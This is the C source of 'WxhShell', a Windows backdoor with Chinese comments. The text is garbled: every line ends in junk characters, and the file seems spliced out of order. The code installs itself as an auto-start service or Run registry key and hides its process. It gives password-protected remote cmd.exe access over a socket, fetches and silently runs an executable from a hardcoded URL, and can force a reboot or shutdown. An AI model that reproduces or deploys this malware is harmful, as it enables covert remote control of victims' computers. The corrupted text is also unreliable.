    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)+s,LT5  
    else { tJM#/yT  
    closesocket(wsh); %,1xOl4l  
    ExitThread(0); "t.Jv%0=  
    } !K8Kw W|X  
    break; 9{GEq@`7  
    } |erG cKk  
  // 获取shell yTxrbE  
  case 's': { Vktc  
    CmdShell(wsh); jIL+^{K<  
    closesocket(wsh); &KYPi'C9!z  
    ExitThread(0); (# c|San  
    break; &G|^{!p/G  
  } .E:3I!dH7  
  // 退出 gW5yLb_Vz$  
  case 'x': { RoFOjCc>D.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qkM)zOZ^  
    CloseIt(wsh); 0!Vza?9  
    break; aw923wEi  
    } ~n"?*I`  
  // 离开 O"GuVC}B  
  case 'q': { Mp?Gi7o=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @!Z1*a.  
    closesocket(wsh); H|IG"JB  
    WSACleanup(); b9xvLR8  
    exit(1); l(y,lK=YP1  
    break; )ZW[$:wA  
        } \ xJ_ )r  
  } j* ZU}Ss  
  } yPd6{% w  
;/h&40&  
  // 提示信息 &RHZ7T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '8yCwk  
} _UA|0a!-  
  } 4 Aj<k  
i91 =h   
  return; ~m'8<B5+  
} O**~ Tj  
}G)2HTaZ  
// shell模块句柄 U*:ju+)k  
int CmdShell(SOCKET sock) *N |ak =  
{ 4;bc!> sfC  
STARTUPINFO si;  SDc8\ms  
ZeroMemory(&si,sizeof(si)); LPeVr^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -N'wKT5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>ve|us$  
PROCESS_INFORMATION ProcessInfo; l*$~Y0  
char cmdline[]="cmd"; .(&w/jR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FVxORQI  
  return 0; -q]5@s/  
} 2lCgUe)N  
b/w5K2  
// 自身启动模式 zIA)se Js  
int StartFromService(void) 3L CT-rp  
{ L)n_  Q  
typedef struct | .gE9'"bv  
{ jL7r1pu5  
  DWORD ExitStatus; xi<yB0MoA  
  DWORD PebBaseAddress; %L|xmx!c  
  DWORD AffinityMask; QHr'r/0  
  DWORD BasePriority; ~: fSD0  
  ULONG UniqueProcessId; I.'/!11>  
  ULONG InheritedFromUniqueProcessId; :}R,a=N  
}   PROCESS_BASIC_INFORMATION; m1e Sn |)7  
)<f4F!?,A  
PROCNTQSIP NtQueryInformationProcess; gN2oUbf8  
@uz(h'~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s f.z(o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lNsdbyV'  
Qr_0 L  
  HANDLE             hProcess; e"%uOuIYX  
  PROCESS_BASIC_INFORMATION pbi; oj[~H}>  
=A*a9c2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N^M6*,F,J  
  if(NULL == hInst ) return 0; 1% C EUE  
1cc~UQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); id9XwWV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >,QCKZH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lGt:.p{NG  
%^d<go^  
  if (!NtQueryInformationProcess) return 0; E4'z  
(< >Lfn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jz~#K;3=,  
  if(!hProcess) return 0; Zd'Yu{<_2N  
/:^nG+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O+|ipw*B%  
V!(7=ku!`  
  CloseHandle(hProcess); @^<&LG5^  
'"+Gn52#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %JH/|mA&|  
if(hProcess==NULL) return 0; lcLDCt ?  
XDAP[V  
HMODULE hMod; E+|K3EJ  
char procName[255]; DgK*> A  
unsigned long cbNeeded; m[%':^vSr  
>9mj/P D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]imVIu   
d'&OEGb<  
  CloseHandle(hProcess); jhPbh5E  
3d]~e  
if(strstr(procName,"services")) return 1; // 以服务启动 %wXj P`#  
lU%oU&P/"S  
  return 0; // 注册表启动 TFm[sO0RZ  
} k& uh  
gKcBx6G Q  
// 主模块 j{'_sI{{  
int StartWxhshell(LPSTR lpCmdLine) JS/ChoU  
{ KxD/{0F  
  SOCKET wsl; EP"Z58&$R  
BOOL val=TRUE; op/_ :#&'  
  int port=0; Uf|uFGb  
  struct sockaddr_in door; )o~/yB7  
$f _C~O  
  if(wscfg.ws_autoins) Install(); 9XYm8g'X  
ce#Iu#qT  
port=atoi(lpCmdLine); xAl8e  
4x&Dz0[[S  
if(port<=0) port=wscfg.ws_port; <;yS&8  
QVJpX;u  
  WSADATA data; Q"D5D rj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tcnO`0moK  
gaxM#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A'rd1"K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O$;#GpR  
  door.sin_family = AF_INET; O9zMD8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dn@ZS_f  
  door.sin_port = htons(port); !H@HgJ -  
=+UtA f<n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `"}).{N]C  
closesocket(wsl); uY(8KW  
return 1; +ue1+#  
} ',xUU{5?  
.>#O'Z&q9  
  if(listen(wsl,2) == INVALID_SOCKET) { g Oe!GnO  
closesocket(wsl); KO7&dM  
return 1; c-5AI{%bl6  
} \b%c_e  
  Wxhshell(wsl); FNuE-_  
  WSACleanup(); y2#"\5dC  
M]p-<R\  
return 0; k7Qs#L  
(_!I2"Q*  
} P9qIq]M  
W7'<Jom|?  
// 以NT服务方式启动 [*5]NNB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8B &EH+  
{ pDYJLh-C  
DWORD   status = 0; [U",yN]d  
  DWORD   specificError = 0xfffffff; NN2mOJ:-  
W6}>iB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q^<HG]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j'U1lEZm2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K:jn^JN$  
  serviceStatus.dwWin32ExitCode     = 0; i!}6FB Z  
  serviceStatus.dwServiceSpecificExitCode = 0; $[Z~BfSQ  
  serviceStatus.dwCheckPoint       = 0; 2"?DaX  
  serviceStatus.dwWaitHint       = 0; SepwMB4@  
bEj}J_#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \?R#ZxP@  
  if (hServiceStatusHandle==0) return; EnlAgL']|  
14 ,t  
status = GetLastError(); U;WwEta ]  
  if (status!=NO_ERROR) Q.$Rhjb  
{ jc)7FE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ky"F L   
    serviceStatus.dwCheckPoint       = 0; ,dTmI{@O  
    serviceStatus.dwWaitHint       = 0; V4NQcy? H  
    serviceStatus.dwWin32ExitCode     = status; 5 ,-8oEUL  
    serviceStatus.dwServiceSpecificExitCode = specificError; HUD0 @HQI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $l"%o9ICG  
    return; =?0v,;F9|  
  } !L9OJ1F  
s5{=lP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {pH#zs4Y  
  serviceStatus.dwCheckPoint       = 0; c QuL9Xo  
  serviceStatus.dwWaitHint       = 0; _"B.V(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xl`AiO `K  
} zsQ|LwQ  
K$Vu[!l`  
// 处理NT服务事件,比如:启动、停止 ("t'XKP&N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,>rvl P  
{ {R-o8N  
switch(fdwControl) O+|C<;K  
{ `j@1]%&z  
case SERVICE_CONTROL_STOP: 6 h#U,G  
  serviceStatus.dwWin32ExitCode = 0; po*8WSl9c[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6];3h>c]N  
  serviceStatus.dwCheckPoint   = 0; KS93v9|  
  serviceStatus.dwWaitHint     = 0; .!KsF h,pK  
  {  {Ba&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y)&K9 I  
  } s$>n U  
  return; M Zz21H  
case SERVICE_CONTROL_PAUSE: '7el`Ff  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jw=PeT|  
  break; GW;%~qH[,  
case SERVICE_CONTROL_CONTINUE: "}qs +  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aH{)|?  
  break; ltgtD k  
case SERVICE_CONTROL_INTERROGATE: J??AU0 vh  
  break; lP`BKc,  
}; \alV #>J5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]}N01yw|s  
} )h]#:,pm  
=?.oH|&\h  
// 标准应用程序主函数 uStAZ ~b\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O6G'!h\F  
{ ]$Z:^" JS3  
s2G9}i{  
// 获取操作系统版本 N$]er'`  
OsIsNt=GetOsVer(); \\<=J[R.M  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  &Q~W{.  
D?1fY!C:r  
  // 从命令行安装 w'(/dr  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xj/z),  
*"8Ls0!  
  // 下载执行文件 B+`4UfB]Z}  
if(wscfg.ws_downexe) { )xyjQ|b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %r(WS_%K|  
  WinExec(wscfg.ws_filenam,SW_HIDE); )e?&'wa>  
} 5\bGCf  
g) oOravV  
if(!OsIsNt) { Mz6(M,hkq  
// 如果时win9x,隐藏进程并且设置为注册表启动 6EyPZ{  
HideProc(); ZK^cG'^2|  
StartWxhshell(lpCmdLine); 0,t%us/q  
} X>o9mW  
else PtbaC6"\  
  if(StartFromService()) X n!mdR  
  // 以服务方式启动 O[ird`/  
  StartServiceCtrlDispatcher(DispatchTable); +_i{4Iz~p  
else +n;nvf}(  
  // 普通方式启动 f(m, !  
  StartWxhshell(lpCmdLine); BM,hcT r?  
v{a%TA9-  
return 0; Q!1;xw~  
} Z{0BH{23  
f+ceL'fr  
8-nf4=ll  
~%/Rc`  
=========================================== oM~y8O  
jn V=giBu  
w7U]-MW6A*  
b/z-W`gw  
ja_8n["z  
]WDmx$"&e  
" %Gh5!e:$SI  
6*9 wGLE  
#include <stdio.h> \QK@wgu  
#include <string.h> S"Cz. bv  
#include <windows.h> Kt_oo[ey{  
#include <winsock2.h> +r8bGS]ki  
#include <winsvc.h> &*<27-x  
#include <urlmon.h> A ]A{HEX  
^r\ rpSN  
#pragma comment (lib, "Ws2_32.lib") %)JEYH7Z  
#pragma comment (lib, "urlmon.lib") vAUt~ X"  
13!@L bC  
#define MAX_USER   100 // 最大客户端连接数 INi$-Y+  
#define BUF_SOCK   200 // sock buffer  lln"c  
#define KEY_BUFF   255 // 输入 buffer z5fE<=<X_W  
njy2pDC@  
#define REBOOT     0   // 重启 :jl*Y-mM  
#define SHUTDOWN   1   // 关机 C:J;'[,S  
XA2Ld  
#define DEF_PORT   5000 // 监听端口 NZq-%bE  
ccuGM WG*  
#define REG_LEN     16   // 注册表键长度 [b3!H{b#  
#define SVC_LEN     80   // NT服务名长度 QF"7.~~2  
9b+jT{Tg  
// 从dll定义API >q:%?mi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b0$)G-E/Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FbE/x$;~O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u-TT;k'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PdcIHN  
A#"Wk]jX  
// wxhshell配置信息 &$~fz":1!  
struct WSCFG { C 5.3[  
  int ws_port;         // 监听端口 LlQsc{ Ddf  
  char ws_passstr[REG_LEN]; // 口令 6L<:>55  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3^o(\=-JX  
  char ws_regname[REG_LEN]; // 注册表键名 k6Kc{kY  
  char ws_svcname[REG_LEN]; // 服务名 =:WZV8@%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8v"rM >[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +FT c/r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Lbsq\W>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AFz:%m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s:U:Dv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ >OP  
ANhtz1Fl  
}; XQ]K,# i  
Yr9'2.%Q  
// default Wxhshell configuration d/7fJ8y8  
struct WSCFG wscfg={DEF_PORT, > {*cW  
    "xuhuanlingzhe", cfLF@LW!])  
    1, QJ2]8K)+C  
    "Wxhshell", i 9) G t  
    "Wxhshell", v/`D0g-uX)  
            "WxhShell Service", (u,)v_Oo]a  
    "Wrsky Windows CmdShell Service", (0$~T}lH  
    "Please Input Your Password: ", }\"EI<$s  
  1, n1f8jS+'}  
  "http://www.wrsky.com/wxhshell.exe", ]" 'yf;g  
  "Wxhshell.exe" o^"+X7)  
    };  q#K{~:  
pp"X0  
// 消息定义模块 \H] |5fp*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uAO!fE}CJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >f]/VaMH{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RaJTya^  
char *msg_ws_ext="\n\rExit."; v ccH(T  
char *msg_ws_end="\n\rQuit."; hhTtxC<:  
char *msg_ws_boot="\n\rReboot..."; E=sh^Q(A  
char *msg_ws_poff="\n\rShutdown..."; TjW!-s?S  
char *msg_ws_down="\n\rSave to "; OdzeHpH3g  
/%T/@y  
char *msg_ws_err="\n\rErr!"; |p|Zv H  
char *msg_ws_ok="\n\rOK!"; Ds`e-X)O;\  
:5t4KcQ  
char ExeFile[MAX_PATH]; -/Q5?0z  
int nUser = 0; 1V%tev9a  
HANDLE handles[MAX_USER]; NdXHpq;  
int OsIsNt; 0]DOiA  
8?yIixhw  
SERVICE_STATUS       serviceStatus; .hT>a<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h[ .  
\((iR>^|  
// 函数声明 dfDjOZSL  
int Install(void); I5Vn#_q+b  
int Uninstall(void); `0d 0T~  
int DownloadFile(char *sURL, SOCKET wsh); jl,gqMn"V  
int Boot(int flag); / ;`H )  
void HideProc(void); DzZF*ylQ5P  
int GetOsVer(void); noZbsI4  
int Wxhshell(SOCKET wsl); K.Xy:l*z  
void TalkWithClient(void *cs); h3MdQlJ&  
int CmdShell(SOCKET sock); :@L7RZ`_  
int StartFromService(void); 72<9xNcB!}  
int StartWxhshell(LPSTR lpCmdLine); x5lVb$!G  
`~GXK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B>2=IZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^{Y,`F  
eD>b|U=/  
// 数据结构和表定义 +b|F_  
SERVICE_TABLE_ENTRY DispatchTable[] = `Y&`2WZ ~  
{ $S6(V}yh  
{wscfg.ws_svcname, NTServiceMain}, Rh'z;Gyr  
{NULL, NULL} >q}3#TvP@  
}; >F$9&s&  
QQJGqM3a2  
// 自我安装 s9?mX@>h  
int Install(void)  {53FR  
{ A(y6]E!  
  char svExeFile[MAX_PATH]; 1-kuK<KR  
  HKEY key; V3,C5KKk&z  
  strcpy(svExeFile,ExeFile); 9jal D X  
`G\ qGllX  
// 如果是win9x系统,修改注册表设为自启动 e{)giJY9  
if(!OsIsNt) { z|g2Q#$-\S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 49qa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e@'x7Zzh  
  RegCloseKey(key); \8{SQ%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lu#a.41  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E>fY,*0  
  RegCloseKey(key); nW=6nCyvo  
  return 0; x;mw?B[  
    } 9{pT)(Wnb  
  } z g7Q`  
} YD4I2'E  
else { !yNU-/K  
WB jJ)vCA.  
// 如果是NT以上系统,安装为系统服务 Kzev] er  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,:S#gN{U  
if (schSCManager!=0) v^9eTeFO  
{ 7 [Us.V@  
  SC_HANDLE schService = CreateService 6i/unwe!`)  
  ( t>[QW`EeP  
  schSCManager, z~H1f$}  
  wscfg.ws_svcname, g@H<Q('fJ  
  wscfg.ws_svcdisp, @rhS[^1wi+  
  SERVICE_ALL_ACCESS, 1jC85^1Taq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5gz^3R|`f  
  SERVICE_AUTO_START, Q& [!+s:2J  
  SERVICE_ERROR_NORMAL, H I9/  
  svExeFile, 2CC"Z  
  NULL, c)EYX o  
  NULL, E~y8X9HZ)  
  NULL, U][E`[m#  
  NULL, PMQTcQ^  
  NULL g`y9UYeh  
  ); <@J$hs9s  
  if (schService!=0) V9[_aP;  
  { 8@3=SO  
  CloseServiceHandle(schService); > ?+Rtg|${  
  CloseServiceHandle(schSCManager); !.h{/37]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ruaZ(R[  
  strcat(svExeFile,wscfg.ws_svcname); b:(+d"S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H{cOkuy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FK BRJ5O  
  RegCloseKey(key); bdrE2m  
  return 0; FBE|pG7  
    } +Xg:*b9So  
  } c!@|y E,  
  CloseServiceHandle(schSCManager); ".jO2GO^  
} `0upm%A  
} \3vQXt\dM$  
A!Tl  
return 1; v&:[?<6-  
} 'D W|a  
V lZ+x)E  
// 自我卸载 B7Ket8<J  
int Uninstall(void) EWJB /iED  
{ jdG'sITv  
  HKEY key; J{/hc} $  
\Fjasz5E'  
if(!OsIsNt) { GW {tZaB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CC^D4]ug  
  RegDeleteValue(key,wscfg.ws_regname); MJX ny4n  
  RegCloseKey(key); %)V=)l.j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7sVM[lr<  
  RegDeleteValue(key,wscfg.ws_regname); O+!4KNN.-  
  RegCloseKey(key); :h@V,m Z  
  return 0; z ,;XWv?  
  } hw"2'{"II  
} 33%hZ`/>  
} ,u@:(G  
else { Lginps[la  
.*NPoW4Kv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -3(*4)h7  
if (schSCManager!=0) PE{<' K\g  
{ &zYQ H@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +1#;s!e  
  if (schService!=0) K^x{rn.Zf  
  { A8ViJ  
  if(DeleteService(schService)!=0) {  +At [[  
  CloseServiceHandle(schService); *6JA&zj0B  
  CloseServiceHandle(schSCManager); 3MX#}_7A  
  return 0; Z +/3rd  
  } c RI2$|  
  CloseServiceHandle(schService); 4+8)0;<H  
  } o2|#_tGNUy  
  CloseServiceHandle(schSCManager); nZiwR4kM  
} JQb{?C  
} Vu_oxL}  
HnPy";{  
return 1; KyIUz9$  
} |HAbZd7PG  
U ]pE{ ^\w  
// 从指定url下载文件 gwNZ`_Q  
int DownloadFile(char *sURL, SOCKET wsh) ~xzr8 P  
{ b!t[PShw^  
  HRESULT hr; #2|biTJ  
char seps[]= "/"; 3]S_w[Q4  
char *token; / 8O=3  
char *file; )h ,v(Rxa  
char myURL[MAX_PATH]; OGEe8Z9Jt  
char myFILE[MAX_PATH]; <uU<qO;6  
@n qM#  
strcpy(myURL,sURL); O<fy^[r:`  
  token=strtok(myURL,seps); ]9_tto!/  
  while(token!=NULL) 1.%|Er 4  
  { ]U@~vA#''  
    file=token; j hRr!  
  token=strtok(NULL,seps); KrP?*yk  
  } "T[BSj?E  
b1^wK"#  
GetCurrentDirectory(MAX_PATH,myFILE); L=54uCv Q  
strcat(myFILE, "\\"); u ^#UsOt+  
strcat(myFILE, file); Sv=e|!3f[k  
  send(wsh,myFILE,strlen(myFILE),0); #n&/v'!\  
send(wsh,"...",3,0); y?cN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T5`ML'Dej  
  if(hr==S_OK) G9&2s%lu.e  
return 0; I>rTqOK  
else IqlCl>_j  
return 1; [qY yr  
=XYc2. t  
} @?s>oSyV  
xA^E+f:W_  
// 系统电源模块 lpPPI+|4N  
int Boot(int flag) '<,Dz=  
{ X<_HQ  
  HANDLE hToken; , XscO7  
  TOKEN_PRIVILEGES tkp; N, u]2,E  
{oOUIP  
  if(OsIsNt) { $+2QbEk&-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >/RFff]Fh0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ] 0L=+=w  
    tkp.PrivilegeCount = 1; ZweAY.]e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IjOBY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  &I-T  
if(flag==REBOOT) { VZ IY=Q>g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =x?WZMO  
  return 0; ;d>n2  
} iN[6}V6Sm  
else { K:9AP{+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3ouy-SQ  
  return 0; k)z>9z%D  
} ^?]-Q*w3Qs  
  } ,_$J-F?  
  else { 5'DY)s-K  
if(flag==REBOOT) { -Sh&x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o%-KO? YW  
  return 0; f.j<VKF}  
} L9^ M?.a  
else { &2%|?f|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) izcjI.3e,  
  return 0; [QMN0#(h  
} @x*xgf  
} {m3#1iV9  
J:'_S `J  
return 1; C(h<s e?  
} i@D4bd9lR  
#?\(l%  
// win9x进程隐藏模块 7MZH'nO  
void HideProc(void) ,j{tGj_  
{ EF$ASNh"  
Q3hSWXq'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]5@n`;&#.  
  if ( hKernel != NULL ) OpazWcMoo  
  { a0k;way  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]iW:YNvXA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QoUdTIIL  
    FreeLibrary(hKernel); _R]0S  
  } }M(xN6E  
y:Gn58\o  
return; ?Hdu=+ZV  
} ) x+edYw  
n(V{ [  
// 获取操作系统版本 aso8,mpZuA  
int GetOsVer(void) nVoWER:  
{ _pb*kJ  
  OSVERSIONINFO winfo; "uL~D5!f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9fs-|E[5  
  GetVersionEx(&winfo); Vp1ct06^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a6xo U;T  
  return 1; UpD4'!<buV  
  else %t6-wWM97  
  return 0; "doiD=b  
} dPpJDY0  
[\eVX`it  
// 客户端句柄模块 h|PC?@jp  
int Wxhshell(SOCKET wsl) cR!M{U.q  
{ Hn(Eut7%  
  SOCKET wsh; #Vmf 6  
  struct sockaddr_in client; Vg,nNa3  
  DWORD myID; \K"7U  
ZDL1H3;R  
  while(nUser<MAX_USER) +w.$"dF!  
{ XUVj<U  
  int nSize=sizeof(client); 31 <0Nw;l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S"?fa)~  
  if(wsh==INVALID_SOCKET) return 1; |ssl0/nk  
IUEpE9_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #^]vhnbN  
if(handles[nUser]==0) _OjZ>j<B.  
  closesocket(wsh); .Mb0++% W  
else 7BINqVS&  
  nUser++; =Yl ea,S  
  } dR_6j}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (_@]-   
cK\ u  
  return 0; |,=^P` #%  
} LjGZp"&{  
1,h:|  
// 关闭 socket X=1o$:7  
void CloseIt(SOCKET wsh) N2HD=[*cr  
{ =#pYd~  
closesocket(wsh); PCL ;Z  
nUser--; 9,JM$ Y {  
ExitThread(0); l(87s^_  
} ?aWVfX!+G5  
BtbU?t  
// 客户端请求句柄 {Ak 4GL  
void TalkWithClient(void *cs) )=iv3nF?6N  
{ :Cx|(+T  
}@t" B9D  
  SOCKET wsh=(SOCKET)cs; VoUo!t:(+  
  char pwd[SVC_LEN]; QD3tM5(Yr  
  char cmd[KEY_BUFF]; bW! &n  
char chr[1]; a:l-cZ/!  
int i,j; YU8]W%  
;/Z-|+!IJt  
  while (nUser < MAX_USER) { 0,m]W)  
Nc4;2~XwRp  
if(wscfg.ws_passstr) { ffR%@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EZjtZMnj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %1jcY0zEQ  
  //ZeroMemory(pwd,KEY_BUFF); >P@V D"U  
      i=0; T^`; wD  
  while(i<SVC_LEN) { li\=mH,Wr  
JrY*K|YdW  
  // 设置超时 9)W &yi  
  fd_set FdRead; OqciZ@#5n  
  struct timeval TimeOut; [|c%<|d2  
  FD_ZERO(&FdRead); j-R*!i  
  FD_SET(wsh,&FdRead); y2jw3R  
  TimeOut.tv_sec=8;  3TCRCz  
  TimeOut.tv_usec=0; Ic_NQ<8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >l AtfN='  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w$9LcN  
2YKa <?_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  &qdhxc4  
  pwd=chr[0]; A&Aj!#  
  if(chr[0]==0xd || chr[0]==0xa) { 0mUVa=)D  
  pwd=0; g;p} -=  
  break; ARf{hiV6Wt  
  } Kw?3joy  
  i++; /u.ZvY3,  
    } 3BCD0 %8  
#6ePwd  
  // 如果是非法用户,关闭 socket /N_:npbJF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LOi}\O8  
} wxc#)W  
I-r+1gty  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K6-M.I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |]@Pq[Hn|  
3Y2~HuM  
while(1) { <C(o0u&/  
O HpV%8`  
  ZeroMemory(cmd,KEY_BUFF); B T"R"w  
+ppA..1  
      // 自动支持客户端 telnet标准   r#4/~a5i~  
  j=0; lD3nz<p  
  while(j<KEY_BUFF) { 37jxl+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :p: C  
  cmd[j]=chr[0]; {LF4_9 =  
  if(chr[0]==0xa || chr[0]==0xd) { CKK}Z;~:  
  cmd[j]=0; ]r|oNGD)G  
  break; RM `qC  
  } $+7uB-KsU  
  j++; '-RacNY  
    } }}tbOD)t  
< z2wt  
  // 下载文件 A)C)5W  
  if(strstr(cmd,"http://")) { @lE'D":?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -%yrs6  
  if(DownloadFile(cmd,wsh)) ;50&s .gZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,n8\y9{G  
  else sNo8o1Hby  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i}DS+~8v  
  } 6ABK)m-y  
  else { _i+@HXR &  
8;DDCop 8L  
    switch(cmd[0]) { MHK|\Z&e7  
  %?PFe}  
  // 帮助 /v+)#[]>  
